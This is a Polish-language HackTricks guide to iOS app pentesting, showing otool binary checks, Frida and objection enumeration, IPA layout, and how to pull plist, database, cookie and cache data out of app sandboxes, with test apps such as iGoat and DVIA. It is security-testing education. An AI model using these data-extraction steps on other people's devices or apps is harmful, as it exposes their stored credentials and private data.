mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1089 lines
62 KiB
Markdown
1089 lines
62 KiB
Markdown
# iOS Pentesting
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## iOS Basics
|
||
|
||
{{#ref}}
|
||
ios-basics.md
|
||
{{#endref}}
|
||
|
||
## Testing Environment
|
||
|
||
Na tej stronie znajdziesz informacje o **symulatorze iOS**, **emulatorach** i **jailbreaku:**
|
||
|
||
{{#ref}}
|
||
ios-testing-environment.md
|
||
{{#endref}}
|
||
|
||
## Initial Analysis
|
||
|
||
### Basic iOS Testing Operations
|
||
|
||
Podczas testowania **zostanie zasugerowanych kilka operacji** (połączenie z urządzeniem, odczyt/zapis/przesyłanie/pobieranie plików, użycie niektórych narzędzi...). Dlatego, jeśli nie wiesz, jak wykonać którąkolwiek z tych czynności, proszę, **zacznij czytać stronę**:
|
||
|
||
{{#ref}}
|
||
basic-ios-testing-operations.md
|
||
{{#endref}}
|
||
|
||
> [!TIP]
|
||
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już mieć uzyskany **plik IPA** aplikacji.\
|
||
> Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
|
||
|
||
### Basic Static Analysis
|
||
|
||
Kilka interesujących dekompilatorów plików iOS - IPA:
|
||
|
||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||
|
||
Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) do przeprowadzenia automatycznej analizy statycznej pliku IPA.
|
||
|
||
Identyfikacja **ochron obecnych w binarnym**:
|
||
|
||
- **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # Powinien zawierać flagę PIE
|
||
```
|
||
|
||
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # Powinien zawierać symbole: stack_chk_guard i stack_chk_fail
|
||
```
|
||
|
||
- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom związanym z uszkodzeniem pamięci
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # Powinien zawierać symbol _objc_release
|
||
```
|
||
|
||
- **Encrypted Binary**: Binarna powinna być zaszyfrowana
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Cryptid powinien wynosić 1
|
||
```
|
||
|
||
**Identyfikacja Wrażliwych/Niezabezpieczonych Funkcji**
|
||
|
||
- **Słabe Algorytmy Hashujące**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# Na linuxie
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
|
||
- **Niezabezpieczone Funkcje Losowe**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# Na linuxie
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
|
||
- **Niezabezpieczona Funkcja ‘Malloc’**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# Na linuxie
|
||
grep -iER "_malloc"
|
||
```
|
||
|
||
- **Niezabezpieczone i Wrażliwe Funkcje**
|
||
|
||
```bash
|
||
# Na urządzeniu iOS
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# Na linuxie
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Basic Dynamic Analysis
|
||
|
||
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał przejść przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz.
|
||
|
||
### Listing Installed Apps
|
||
|
||
Użyj polecenia `frida-ps -Uai`, aby określić **identyfikator pakietu** zainstalowanych aplikacji:
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### Podstawowa Enumeracja i Hooking
|
||
|
||
Dowiedz się, jak **enumerować komponenty aplikacji** oraz jak łatwo **hookować metody i klasy** za pomocą objection:
|
||
|
||
{{#ref}}
|
||
ios-hooking-with-objection.md
|
||
{{#endref}}
|
||
|
||
### Struktura IPA
|
||
|
||
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
|
||
|
||
- **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
|
||
- **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie.
|
||
- **`Assets.car`**: Skompresowany archiwum, które przechowuje pliki zasobów, takie jak ikony.
|
||
- **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą być w formie plików `.dylib` lub `.framework`.
|
||
- **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Jest używane do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
|
||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` jest alternatywnym sposobem określenia typu i kodów twórcy aplikacji lub pakietu.
|
||
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany.
|
||
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
|
||
- **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru.
|
||
- **Frameworki i PlugIns**: Te katalogi podkreślają modułowość aplikacji iOS, umożliwiając deweloperom dołączanie bibliotek kodu do ponownego użycia (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
|
||
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
|
||
|
||
**Info.plist**
|
||
|
||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zorganizowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||
|
||
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
|
||
|
||
- **Dla macOS**:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
- **Dla Linuksa**:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, istotne wpisy to ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
|
||
```bash
|
||
$ grep -i <keyword> Info.plist
|
||
```
|
||
**Ścieżki danych**
|
||
|
||
W środowisku iOS katalogi są wyznaczone specjalnie dla **aplikacji systemowych** i **aplikacji zainstalowanych przez użytkownika**. Aplikacje systemowe znajdują się w katalogu `/Applications`, podczas gdy aplikacje zainstalowane przez użytkownika są umieszczane w `/var/mobile/containers/Data/Application/`. Te aplikacje mają przypisany unikalny identyfikator znany jako **128-bitowy UUID**, co utrudnia ręczne zlokalizowanie folderu aplikacji z powodu losowości nazw katalogów.
|
||
|
||
> [!WARNING]
|
||
> Ponieważ aplikacje w iOS muszą być izolowane, każda aplikacja będzie miała również folder wewnątrz **`$HOME/Library/Containers`** z **`CFBundleIdentifier`** aplikacji jako nazwą folderu.
|
||
>
|
||
> Jednak oba foldery (foldery danych i kontenerów) mają plik **`.com.apple.mobile_container_manager.metadata.plist`**, który łączy oba pliki w kluczu `MCMetadataIdentifier`.
|
||
|
||
Aby ułatwić odkrycie katalogu instalacyjnego aplikacji zainstalowanej przez użytkownika, narzędzie **objection** oferuje przydatne polecenie, `env`. To polecenie ujawnia szczegółowe informacje o katalogu dla danej aplikacji. Poniżej znajduje się przykład użycia tego polecenia:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
Alternatywnie, nazwę aplikacji można wyszukać w `/private/var/containers` za pomocą polecenia `find`:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
Polecenia takie jak `ps` i `lsof` mogą być również wykorzystane do identyfikacji procesu aplikacji i listowania otwartych plików, odpowiednio, dostarczając informacji o aktywnych ścieżkach katalogów aplikacji:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
**Katalog pakietu:**
|
||
|
||
- **AppName.app**
|
||
- To jest pakiet aplikacji, jak wcześniej widziano w IPA, zawiera niezbędne dane aplikacji, statyczne treści oraz skompilowany plik binarny aplikacji.
|
||
- Ten katalog jest widoczny dla użytkowników, ale **użytkownicy nie mogą do niego pisać**.
|
||
- Zawartość tego katalogu **nie jest kopiowana**.
|
||
- Zawartość tego folderu jest używana do **walidacji podpisu kodu**.
|
||
|
||
**Katalog danych:**
|
||
|
||
- **Documents/**
|
||
- Zawiera wszystkie dane generowane przez użytkownika. Użytkownik końcowy aplikacji inicjuje tworzenie tych danych.
|
||
- Widoczny dla użytkowników i **użytkownicy mogą do niego pisać**.
|
||
- Zawartość tego katalogu **jest kopiowana**.
|
||
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||
- **Library/**
|
||
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist).
|
||
- Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi.
|
||
- **Library/Caches/**
|
||
- Zawiera **półtrwałe pliki cache.**
|
||
- Niewidoczny dla użytkowników i **użytkownicy nie mogą do niego pisać**.
|
||
- Zawartość tego katalogu **nie jest kopiowana**.
|
||
- System operacyjny może automatycznie usunąć pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
|
||
- **Library/Application Support/**
|
||
- Zawiera **trwałe** **pliki** niezbędne do działania aplikacji.
|
||
- **Niewidoczny** **dla** **użytkowników** i użytkownicy nie mogą do niego pisać.
|
||
- Zawartość tego katalogu **jest kopiowana**.
|
||
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||
- **Library/Preferences/**
|
||
- Używany do przechowywania właściwości, które mogą **utrzymywać się nawet po ponownym uruchomieniu aplikacji**.
|
||
- Informacje są zapisywane, niezaszyfrowane, wewnątrz piaskownicy aplikacji w pliku plist o nazwie \[BUNDLE_ID].plist.
|
||
- Wszystkie pary klucz/wartość przechowywane za pomocą `NSUserDefaults` można znaleźć w tym pliku.
|
||
- **tmp/**
|
||
- Użyj tego katalogu do zapisywania **plików tymczasowych**, które nie muszą się utrzymywać między uruchomieniami aplikacji.
|
||
- Zawiera nietrwałe pliki cache.
|
||
- **Niewidoczny** dla użytkowników.
|
||
- Zawartość tego katalogu nie jest kopiowana.
|
||
- System operacyjny może automatycznie usunąć pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.
|
||
|
||
Przyjrzyjmy się bliżej katalogowi pakietu aplikacji iGoat-Swift (.app) wewnątrz katalogu pakietu (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### Binary Reversing
|
||
|
||
W folderze `<application-name>.app` znajdziesz plik binarny o nazwie `<application-name>`. To jest plik, który będzie **wykonywany**. Możesz przeprowadzić podstawową inspekcję binarnego pliku za pomocą narzędzia **`otool`**:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**Sprawdź, czy aplikacja jest zaszyfrowana**
|
||
|
||
Zobacz, czy jest jakiekolwiek wyjście dla:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**Rozkładanie binarnego**
|
||
|
||
Rozłóż sekcję tekstową:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
Aby wydrukować **segment Objective-C** przykładowej aplikacji, można użyć:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
Aby uzyskać bardziej zwarty kod Objective-C, możesz użyć [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
Jednak najlepszymi opcjami do dekompilacji binariów są: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||
|
||
## Przechowywanie danych
|
||
|
||
Aby dowiedzieć się, jak iOS przechowuje dane na urządzeniu, przeczytaj tę stronę:
|
||
|
||
{{#ref}}
|
||
ios-basics.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> Następujące miejsca do przechowywania informacji powinny być sprawdzone **tuż po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcjonalności** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\
|
||
> Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników.
|
||
|
||
### Plist
|
||
|
||
Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. To sposób na przechowywanie danych trwałych, więc czasami możesz znaleźć **wrażliwe informacje w tych plikach**. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym korzystaniu z niej, aby zobaczyć, czy zapisano nowe dane.
|
||
|
||
Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**.
|
||
|
||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użycia z małymi ilościami danych.
|
||
|
||
Dane te nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
|
||
|
||
Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z objection.
|
||
|
||
Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
Aby przekonwertować pliki z formatu **XML lub binarnego (bplist)** na XML, dostępne są różne metody w zależności od systemu operacyjnego:
|
||
|
||
**Dla użytkowników macOS:** Wykorzystaj polecenie `plutil`. To wbudowane narzędzie w macOS (10.2+), zaprojektowane do tego celu:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
**Dla użytkowników Linuxa:** Najpierw zainstaluj `libplist-utils`, a następnie użyj `plistutil`, aby przekonwertować swój plik:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
**W sesji Objection:** Do analizy aplikacji mobilnych, konkretne polecenie pozwala na bezpośrednie konwertowanie plików plist:
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale samo framework nie jest bazą danych.\
|
||
CoreData domyślnie nie szyfruje swoich danych. Jednak dodatkowa warstwa szyfrowania może być dodana do CoreData. Zobacz [GitHub Repo](https://github.com/project-imas/encrypted-core-data) po więcej szczegółów.
|
||
|
||
Możesz znaleźć informacje o SQLite Core Data aplikacji w ścieżce `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||
|
||
**Jeśli możesz otworzyć SQLite i uzyskać dostęp do wrażliwych informacji, to znalazłeś błędną konfigurację.**
|
||
```objectivec:Code from iGoat
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) to magazyn klucz/wartość zbudowany na bazie SQLite.\
|
||
Ponieważ bazy danych Yap są bazami danych sqlite, możesz je znaleźć, używając zaproponowanej komendy w poprzedniej sekcji.
|
||
|
||
### Inne bazy danych SQLite
|
||
|
||
Powszechną praktyką jest, że aplikacje tworzą własne bazy danych sqlite. Mogą one **przechowywać** **wrażliwe** **dane** i pozostawiać je niezaszyfrowane. Dlatego zawsze warto sprawdzić każdą bazę danych w katalogu aplikacji. Przejdź więc do katalogu aplikacji, w którym zapisane są dane (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Firebase Real-Time Databases
|
||
|
||
Programiści mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
|
||
|
||
Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Firebase tutaj:
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||
{{#endref}}
|
||
|
||
### Realm databases
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania poprzez odpowiednią konfigurację.
|
||
|
||
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby zbadać te pliki, można wykorzystać polecenia takie jak:
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
Aby wyświetlić te pliki bazy danych, zaleca się użycie narzędzia [**Realm Studio**](https://github.com/realm/realm-studio).
|
||
|
||
Aby wdrożyć szyfrowanie w bazie danych Realm, można użyć następującego fragmentu kodu:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Bazy danych Couchbase Lite
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) jest opisywany jako **lekki** i **wbudowany** silnik bazy danych, który stosuje podejście **zorientowane na dokumenty** (NoSQL). Zaprojektowany z myślą o **iOS** i **macOS**, oferuje możliwość bezproblemowej synchronizacji danych.
|
||
|
||
Aby zidentyfikować potencjalne bazy danych Couchbase na urządzeniu, należy sprawdzić następujący katalog:
|
||
```bash
|
||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||
```
|
||
### Cookies
|
||
|
||
iOS przechowuje pliki cookie aplikacji w **`Library/Cookies/cookies.binarycookies`** wewnątrz folderu każdej aplikacji. Jednak deweloperzy czasami decydują się na zapisanie ich w **keychain**, ponieważ wspomniany **plik cookie może być dostępny w kopiach zapasowych**.
|
||
|
||
Aby sprawdzić plik cookie, możesz użyć [**tego skryptu python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć **`ios cookies get`** z objection.\
|
||
**Możesz także użyć objection, aby** przekonwertować te pliki na format JSON i sprawdzić dane.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Cache
|
||
|
||
Domyślnie NSURLSession przechowuje dane, takie jak **żądania i odpowiedzi HTTP w bazie danych Cache.db**. Ta baza danych może zawierać **wrażliwe dane**, jeśli tokeny, nazwy użytkowników lub jakiekolwiek inne wrażliwe informacje zostały zbuforowane. Aby znaleźć zbuforowane informacje, otwórz katalog danych aplikacji (`/var/mobile/Containers/Data/Application/<UUID>`) i przejdź do `/Library/Caches/<Bundle Identifier>`. **Cache WebKit jest również przechowywany w pliku Cache.db**. **Objection** może otworzyć i interagować z bazą danych za pomocą polecenia `sqlite connect Cache.db`, ponieważ jest to n**ormalna baza danych SQLite**.
|
||
|
||
Zaleca się **wyłączenie buforowania tych danych**, ponieważ mogą one zawierać wrażliwe informacje w żądaniu lub odpowiedzi. Poniższa lista pokazuje różne sposoby osiągnięcia tego:
|
||
|
||
1. Zaleca się usunięcie zbuforowanych odpowiedzi po wylogowaniu. Można to zrobić za pomocą metody dostarczonej przez Apple o nazwie [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Możesz wywołać tę metodę w następujący sposób:
|
||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
||
|
||
2. Jeśli nie musisz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów.
|
||
|
||
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
